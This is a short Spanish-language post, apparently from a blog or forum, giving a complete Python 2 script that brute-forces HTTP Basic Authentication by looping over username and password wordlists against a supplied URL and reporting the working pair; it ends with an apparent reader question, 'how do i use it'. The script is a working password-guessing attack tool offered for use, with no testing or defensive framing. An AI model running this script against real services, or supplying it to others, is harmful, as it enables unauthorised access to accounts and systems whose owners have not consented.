Como hacer un brute force cracker para autenticación básica http en veinte lineas de python, con coloricos y todo. Argumentos: <fichero de usuarios> <fichero de contraseñas> <url>

bruteforce.py

#!/usr/bin/env python
from termcolor import colored
import sys, mechanize

with open(sys.argv[1]) as userfile:
    users = [u.strip() for u in userfile.readlines()]
with open(sys.argv[2]) as pwfile:
    passwords = [u.strip() for u in pwfile.readlines()]

for user in users:
    for password in passwords:
        try:
            b = mechanize.Browser()
            b.add_password(sys.argv[3], user, password)
            b.open(sys.argv[3], "")
        except Exception, e:
            print(colored("%s:%s - %s" %(user, password, e), "red"))
        else:
            print(colored("Correct combination: %s:%s" %(user, password), "green"))
            break

how do i use it